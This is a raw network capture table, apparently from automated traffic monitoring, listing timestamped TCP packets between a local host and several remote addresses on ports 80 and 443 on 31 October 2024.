Oct 31, 2024 20:52:25.538016081 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.538022041 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.538058043 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.538079977 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.538084984 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.538089037 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.538139105 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.581387043 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581398010 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581409931 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581415892 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581424952 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581465960 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.581509113 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.581516027 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581521034 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581533909 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581558943 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.581574917 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.581841946 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581849098 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581855059 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581861019 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581875086 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.581881046 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.581911087 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.581938982 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.582271099 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582300901 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582308054 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582340002 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.582364082 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.582437038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582443953 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582454920 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582462072 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582473993 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582484961 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.582505941 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.582608938 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582614899 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.582649946 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642280102 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642296076 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642306089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642348051 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642390966 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642398119 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642429113 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642467022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642473936 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642486095 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642512083 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642533064 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642576933 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642580986 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642586946 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642617941 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642652035 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642658949 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642669916 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642699957 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642712116 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642760992 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642765999 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642772913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642802000 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.642813921 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642824888 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642831087 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.642863035 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.658848047 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.658873081 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.658879042 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.658982992 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.658982992 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.659364939 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.659372091 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.659384012 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.659399986 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.659410954 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.659413099 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.659442902 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.659465075 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.701572895 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701589108 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701601028 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701606989 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701615095 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701626062 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701632023 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701641083 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.701689005 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.701802015 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701807022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701821089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701858997 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.701858997 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.701881886 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701889038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701899052 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701920986 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.701946020 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.701960087 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.701967955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702008963 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.702111959 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702119112 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702131033 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702159882 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.702162981 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702171087 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702183008 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702191114 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702198982 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702213049 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.702234030 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.702390909 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702430964 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.702466965 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.702528000 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.763792992 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.763801098 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.763813019 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.763819933 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.763827085 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.763839006 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.763847113 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.763875008 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.763906956 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.764260054 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764297009 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.764437914 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764444113 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764456987 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764463902 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764487982 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.764511108 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764511108 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.764519930 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764532089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764539003 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764545918 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.764552116 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.764574051 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.764597893 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.780102968 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780107975 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780114889 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780172110 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.780261040 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780428886 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780433893 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780446053 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780483961 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.780510902 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.780601978 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780608892 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780615091 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.780647993 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.822999954 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823007107 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823020935 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823026896 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823040009 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823081970 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823124886 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823127985 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823137999 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823142052 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823148012 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823177099 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823199034 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823306084 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823317051 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823323011 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823359013 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823493958 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823501110 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823513031 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823518038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823534012 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823542118 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823563099 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823661089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823668957 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823678970 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823685884 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823714018 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823729992 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823839903 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823847055 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823853016 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.823885918 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.823918104 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.824018955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.824023962 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.824034929 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.824040890 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.824070930 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.824098110 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.824188948 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.824193954 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.824234009 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.885081053 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885088921 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885143995 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.885232925 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885246992 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885260105 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885266066 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885272026 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885283947 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885293007 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.885297060 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885304928 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885309935 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885315895 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885322094 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.885322094 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885332108 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885339022 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.885346889 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885365009 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.885595083 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885601997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.885643005 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.902662992 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.902668953 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.902728081 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.903331995 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903337955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903345108 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903351068 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903374910 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.903399944 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.903497934 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903505087 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903517008 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903522015 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.903547049 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.903573036 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.944960117 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.944982052 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.944988966 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.945066929 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.945103884 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.945151091 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:25.945152998 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:25.945199013 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:26.991830111 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:26.991986036 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:26.993225098 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:26.993236065 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:26.993438005 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.004023075 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.004796982 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.004829884 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.004905939 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.004935980 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.005024910 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.005055904 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.005158901 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.005184889 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.005290985 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.005307913 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.005429029 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.005455017 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.005461931 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.005569935 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.005592108 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.039452076 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.039602041 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.039624929 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.039644957 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.039661884 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.039666891 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.039686918 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.039756060 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.039783955 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.039813042 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.044466019 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.044543982 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.044558048 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.143126011 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.143161058 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.143330097 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.145272017 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.145292997 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.150403976 CET	49749	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:27.768342972 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.768418074 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.770792961 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:27.770802975 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.771195889 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:27.817444086 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.060161114 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.060993910 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.061057091 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:28.287271023 CET	49747	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:28.288444996 CET	49754	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:28.293405056 CET	80	49747	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:28.293416023 CET	80	49754	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:28.293478012 CET	49747	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:28.293550968 CET	49754	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:28.302381039 CET	49754	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:28.307779074 CET	80	49754	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:28.401618004 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:28.401721954 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:28.401823997 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.402302980 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.402318954 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:28.402334929 CET	49753	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.402339935 CET	443	49753	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:28.502796888 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.502823114 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:28.503000021 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.503319025 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:28.503331900 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.113234043 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.113352060 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.114624023 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.114633083 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.114990950 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.116277933 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.116302013 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.116355896 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.452636957 CET	80	49754	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:29.452714920 CET	49754	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:29.454215050 CET	80	49754	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:29.456382990 CET	49754	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:29.456693888 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:29.457031965 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:29.461774111 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:29.461839914 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:29.462109089 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:29.462174892 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:29.462400913 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:29.467390060 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:29.581350088 CET	443	49755	188.114.97.3	192.168.2.4
